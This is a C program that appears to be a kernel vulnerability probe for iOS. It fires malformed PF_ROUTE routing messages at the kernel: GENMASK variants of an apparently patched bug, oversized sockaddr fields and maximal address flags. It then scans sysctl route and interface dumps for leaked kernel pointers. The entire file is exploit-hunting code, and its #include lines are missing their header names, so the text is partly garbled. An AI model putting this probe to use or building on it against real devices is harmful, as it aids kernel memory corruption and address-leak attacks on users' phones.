#include #include #include #include #include #include #include #include #include #include #include #define RTM_VERSION 5 #define RTM_ADD 1 #define RTM_DELETE 2 #define RTM_CHANGE 3 #define RTM_GET 4 #define RTM_REDIRECT 6 #define RTM_LOCK 8 #define RTM_GET2 20 #define RTM_GET_EXT 21 #define RTA_DST 0x01 #define RTA_GATEWAY 0x02 #define RTA_NETMASK 0x04 #define RTA_GENMASK 0x08 #define RTA_IFP 0x10 #define RTA_IFA 0x20 #define RTA_AUTHOR 0x40 #define RTA_BRD 0x80 #define RTF_GATEWAY 0x2 #define RTF_HOST 0x4 #define RTF_STATIC 0x800 #define RTF_UP 0x1 struct rt_metrics { uint32_t rmx_locks, rmx_mtu, rmx_hopcount; int32_t rmx_expire; uint32_t rmx_recvpipe, rmx_sendpipe, rmx_ssthresh; uint32_t rmx_rtt, rmx_rttvar, rmx_pksent, rmx_state; uint32_t rmx_filler[3]; }; struct rt_msghdr { unsigned short rtm_msglen; unsigned char rtm_version; unsigned char rtm_type; unsigned short rtm_index; int rtm_flags; int rtm_addrs; int rtm_pid; int rtm_seq; int rtm_errno; int rtm_use; unsigned int rtm_inits; struct rt_metrics rtm_rmx; }; static int send_rt(int type, int flags, int addrs, void *sas, int sa_len, const char *tag) { int fd = socket(PF_ROUTE, SOCK_RAW, 0); if (fd < 0) { printf("[%s] socket fail e=%d\n", tag, errno); return -1; } char buf[2048]; memset(buf, 0, sizeof(buf)); struct rt_msghdr *rtm = (struct rt_msghdr *)buf; rtm->rtm_type = type; rtm->rtm_version = RTM_VERSION; rtm->rtm_flags = flags; rtm->rtm_seq = 1; rtm->rtm_addrs = addrs; memcpy(buf + sizeof(*rtm), sas, sa_len); rtm->rtm_msglen = sizeof(*rtm) + sa_len; ssize_t s = write(fd, buf, rtm->rtm_msglen); printf("[%s] type=%d flags=0x%x addrs=0x%x write=%zd e=%d", tag, type, flags, addrs, s, s<0?errno:0); if (s > 0) { struct timeval tv = {0, 200000}; setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)); ssize_t r = read(fd, buf, sizeof(buf)); if (r > 0) { struct rt_msghdr *resp = (struct rt_msghdr *)buf; printf(" read=%zd type=%u err=%d addrs=0x%x", r, resp->rtm_type, resp->rtm_errno, resp->rtm_addrs); } } printf("\n"); close(fd); return s < 0 ? errno : 0; } int main(void) { setvbuf(stdout, NULL, _IONBF, 0); signal(SIGPIPE, SIG_IGN); printf("=== iOS 26.4 PF_ROUTE Variant Probe ===\n\n"); struct sockaddr_in sin_dst, sin_gw, sin_mask, sin_gm; memset(&sin_dst, 0, sizeof(sin_dst)); sin_dst.sin_family = AF_INET; sin_dst.sin_len = sizeof(sin_dst); sin_dst.sin_addr.s_addr = inet_addr("8.8.8.8"); memset(&sin_gw, 0, sizeof(sin_gw)); sin_gw.sin_family = AF_INET; sin_gw.sin_len = sizeof(sin_gw); sin_gw.sin_addr.s_addr = inet_addr("192.168.1.1"); memset(&sin_mask, 0, sizeof(sin_mask)); sin_mask.sin_family = AF_INET; sin_mask.sin_len = sizeof(sin_mask); sin_mask.sin_addr.s_addr = inet_addr("255.255.255.0"); memset(&sin_gm, 0, sizeof(sin_gm)); sin_gm.sin_family = AF_INET; sin_gm.sin_len = sizeof(sin_gm); sin_gm.sin_addr.s_addr = inet_addr("255.255.0.0"); printf("--- 1. RTM_GET + GENMASK (original, should be patched) ---\n"); { char sa[32]; int off = 0; memcpy(sa+off, &sin_dst, 16); off += 16; memcpy(sa+off, &sin_gm, 16); off += 16; send_rt(RTM_GET, 0, 0x09, sa, off, "GET+GM"); } printf("\n--- 2. RTM_ADD + GENMASK (different handler!) ---\n"); { char sa[64]; int off = 0; memcpy(sa+off, &sin_dst, 16); off += 16; memcpy(sa+off, &sin_gw, 16); off += 16; memcpy(sa+off, &sin_mask, 16); off += 16; memcpy(sa+off, &sin_gm, 16); off += 16; send_rt(RTM_ADD, RTF_GATEWAY|RTF_STATIC, 0x0F, sa, off, "ADD+GM"); } printf("\n--- 3. RTM_CHANGE + GENMASK ---\n"); { char sa[64]; int off = 0; memcpy(sa+off, &sin_dst, 16); off += 16; memcpy(sa+off, &sin_gw, 16); off += 16; memcpy(sa+off, &sin_mask, 16); off += 16; memcpy(sa+off, &sin_gm, 16); off += 16; send_rt(RTM_CHANGE, 0, 0x0F, sa, off, "CHG+GM"); } printf("\n--- 4. RTM_LOCK + GENMASK ---\n"); { char sa[32]; int off = 0; memcpy(sa+off, &sin_dst, 16); off += 16; memcpy(sa+off, &sin_gm, 16); off += 16; send_rt(RTM_LOCK, 0, 0x09, sa, off, "LOCK+GM"); } printf("\n--- 5. Oversized sockaddr on NON-genmask fields ---\n"); { char sa[512]; memset(sa, 0, sizeof(sa)); memcpy(sa, &sin_dst, 16); int off = 16; sa[off] = 128; sa[off+1] = AF_INET; memset(sa+off+2, 0x41, 126); off += 128; send_rt(RTM_GET, 0, 0x03, sa, off, "GET+bigGW"); } printf("\n--- 6. Oversized NETMASK ---\n"); { char sa[512]; memset(sa, 0, sizeof(sa)); memcpy(sa, &sin_dst, 16); int off = 16; memcpy(sa+off, &sin_gw, 16); off += 16; sa[off] = 128; sa[off+1] = AF_INET; memset(sa+off+2, 0xFF, 126); off += 128; send_rt(RTM_GET, 0, 0x07, sa, off, "GET+bigMASK"); } printf("\n--- 7. sysctl NET_RT_DUMP (different code path to serialize routes) ---\n"); { int mib[6] = {4, 17, 0, AF_INET, 1, 0}; size_t needed = 0; int r = sysctl(mib, 6, NULL, &needed, NULL, 0); printf("[RT_DUMP] sysctl size query: ret=%d needed=%zu e=%d\n", r, needed, r<0?errno:0); if (r == 0 && needed > 0 && needed < 1024*1024) { char *rbuf = malloc(needed); r = sysctl(mib, 6, rbuf, &needed, NULL, 0); printf("[RT_DUMP] sysctl data: ret=%d got=%zu\n", r, needed); if (r == 0 && needed > 0) { int nroutes = 0; char *p = rbuf, *end = rbuf + needed; while (p < end) { struct rt_msghdr *rm = (struct rt_msghdr *)p; if (rm->rtm_msglen == 0) break; nroutes++; if (rm->rtm_addrs & 0x08) { printf(" route %d has GENMASK! addrs=0x%x\n", nroutes, rm->rtm_addrs); } p += rm->rtm_msglen; } printf(" %d routes dumped, checking for kptrs...\n", nroutes); int kptrs = 0; for (size_t i = 0; i+7 < needed; i += 4) { uint64_t v = *(uint64_t*)(rbuf+i); if ((v >> 40) == 0xffffff || (v >> 40) == 0xfffffe) { printf(" KPTR at offset %zu: 0x%016llx\n", i, v); if (++kptrs >= 5) break; } } if (kptrs == 0) printf(" no kernel pointers found\n"); } free(rbuf); } } printf("\n--- 8. sysctl NET_RT_DUMP2 ---\n"); { int mib[6] = {4, 17, 0, AF_INET, 7, 0}; size_t needed = 0; int r = sysctl(mib, 6, NULL, &needed, NULL, 0); printf("[RT_DUMP2] ret=%d needed=%zu e=%d\n", r, needed, r<0?errno:0); } printf("\n--- 9. sysctl NET_RT_IFLIST2 ---\n"); { int mib[6] = {4, 17, 0, 0, 6, 0}; size_t needed = 0; int r = sysctl(mib, 6, NULL, &needed, NULL, 0); printf("[RT_IFLIST2] ret=%d needed=%zu e=%d\n", r, needed, r<0?errno:0); if (r == 0 && needed > 0 && needed < 1024*1024) { char *rbuf = malloc(needed); r = sysctl(mib, 6, rbuf, &needed, NULL, 0); printf("[RT_IFLIST2] got %zu bytes\n", needed); int kptrs = 0; for (size_t i = 0; i+7 < needed; i += 4) { uint64_t v = *(uint64_t*)(rbuf+i); if ((v >> 40) == 0xffffff || (v >> 40) == 0xfffffe) { printf(" KPTR at offset %zu: 0x%016llx\n", i, v); if (++kptrs >= 5) break; } } if (kptrs == 0) printf(" no kernel pointers\n"); free(rbuf); } } printf("\n--- 10. RTM_GET with maximum sockaddrs and edge flags ---\n"); { char sa[256]; memset(sa, 0, sizeof(sa)); int off = 0; for (int i = 0; i < 7; i++) { struct sockaddr_in *s = (struct sockaddr_in *)(sa + off); s->sin_family = AF_INET; s->sin_len = 16; s->sin_addr.s_addr = htonl(0x01010100 + i); off += 16; } send_rt(RTM_GET, 0, 0xF7, sa, off, "GET+ALL_NO_GM"); } printf("\n=== Done ===\n"); return 0; }